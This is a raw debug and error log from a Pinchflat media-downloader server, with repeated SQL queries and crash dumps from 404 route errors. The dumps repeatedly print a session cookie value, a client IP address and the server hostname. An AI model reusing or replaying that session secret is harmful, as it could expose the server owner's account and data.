#PID<0.163836.0>, params: %{}, path_info: ["sources", "3", "media", "404257", "force_download"], (truncated) 18:56:16.125 [info] GET /sources/3/media/404257 18:56:16.125 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "404257", "prevent_download" => "true", "source_id" => "3"} Pipelines: [:browser] 18:56:16.125 [debug] QUERY OK source="media_items" db=0.2ms idle=97.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [404257] 18:56:16.126 [debug] QUERY OK source="tasks" db=0.2ms idle=74.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [404257] 18:56:16.126 [debug] QUERY OK source="sources" db=0.4ms idle=74.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:56:16.127 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=69.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [14266, 14480] 18:56:16.127 [debug] QUERY OK source="settings" db=0.1ms idle=69.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.128 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.128 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.129 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:16.130 [info] Sent 200 in 5ms 18:56:16.167 [info] GET /sources/3/media/404257/force_download 18:56:16.168 [debug] QUERY OK source="settings" db=0.2ms idle=40.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.168 [info] GET /media/49bba877-ccb8-4b57-8f3b-d2953c5fe715/stream 18:56:16.168 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "49bba877-ccb8-4b57-8f3b-d2953c5fe715", "v" => "1785636261"} Pipelines: [:maybe_basic_auth] 18:56:16.169 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=40.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.169 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:16.169 [debug] QUERY OK source="media_items" db=0.6ms idle=40.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["49bba877-ccb8-4b57-8f3b-d2953c5fe715"] 18:56:16.169 [debug] Invalid range request for media item: 49bba877-ccb8-4b57-8f3b-d2953c5fe715 - serving full file 18:56:16.169 [info] Sent 200 in 1ms 18:56:16.169 [error] #PID<0.163843.0> running PinchflatWeb.Endpoint (connection #PID<0.163842.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/3/media/404257/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/404257/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163842.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/404257/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47080}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163843.0>, params: %{}, path_info: ["sources", "3", "media", "404257", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/3/media/404257/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guVA_9VqMCTYAC6bi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163842.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/404257/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47080}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/404257/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163842.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/404257/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47080}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163843.0>, params: %{}, path_info: ["sources", "3", "media", "404257", "force_download"], (truncated) 18:56:16.229 [info] GET /media_profiles/new 18:56:16.229 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{"template_id" => "1"} Pipelines: [:browser] 18:56:16.230 [debug] QUERY OK source="media_profiles" db=0.1ms idle=101.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:16.230 [debug] QUERY OK source="settings" db=0.1ms idle=101.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.231 [debug] QUERY OK source="settings" db=0.2ms idle=62.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.231 [debug] QUERY OK source="settings" db=0.1ms idle=62.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.232 [debug] QUERY OK source="settings" db=0.1ms idle=62.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.232 [debug] QUERY OK source="settings" db=0.2ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.234 [info] Sent 200 in 4ms 18:56:16.272 [info] GET /media_profiles/1 18:56:16.272 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"delete_files" => "true", "id" => "1"} Pipelines: [:browser] 18:56:16.273 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=42.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:16.273 [debug] QUERY OK source="sources" db=0.3ms idle=42.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 18:56:16.274 [debug] QUERY OK source="settings" db=0.1ms idle=42.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.274 [debug] QUERY OK source="settings" db=0.3ms idle=42.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.275 [debug] QUERY OK source="settings" db=0.3ms idle=42.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.276 [info] Sent 200 in 4ms 18:56:16.329 [info] GET /sources/7acc8a49-1f0e-45f5-8397-1fe4344237e3/feed.xml 18:56:16.330 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "7acc8a49-1f0e-45f5-8397-1fe4344237e3"} Pipelines: [:maybe_basic_auth] 18:56:16.330 [debug] QUERY OK source="sources" db=0.3ms idle=57.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["7acc8a49-1f0e-45f5-8397-1fe4344237e3"] 18:56:16.331 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=57.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [3, 2000] 18:56:16.332 [debug] QUERY OK source="source_metadata" db=0.1ms idle=58.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [3] 18:56:16.333 [debug] QUERY OK source="media_metadata" db=0.1ms idle=58.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [404257] 18:56:16.333 [info] Sent 200 in 3ms 18:56:16.382 [info] GET /sources/new 18:56:16.382 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "3"} Pipelines: [:browser] 18:56:16.382 [debug] QUERY OK source="sources" db=0.2ms idle=107.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:56:16.383 [debug] QUERY OK source="media_profiles" db=0.3ms idle=52.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 18:56:16.383 [debug] QUERY OK source="settings" db=0.1ms idle=51.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.384 [debug] QUERY OK source="settings" db=0.1ms idle=51.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.384 [debug] QUERY OK source="settings" db=0.2ms idle=51.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.385 [debug] QUERY OK source="settings" db=0.2ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.385 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.387 [info] Sent 200 in 5ms 18:56:16.453 [info] GET /sources/3/force_download_pending 18:56:16.453 [debug] QUERY OK source="settings" db=0.1ms idle=69.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.454 [debug] QUERY OK source="settings" db=0.2ms idle=69.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.454 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:16.454 [error] #PID<0.163855.0> running PinchflatWeb.Endpoint (connection #PID<0.163854.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/3/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163854.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_download_pending", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47110}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163855.0>, params: %{}, path_info: ["sources", "3", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 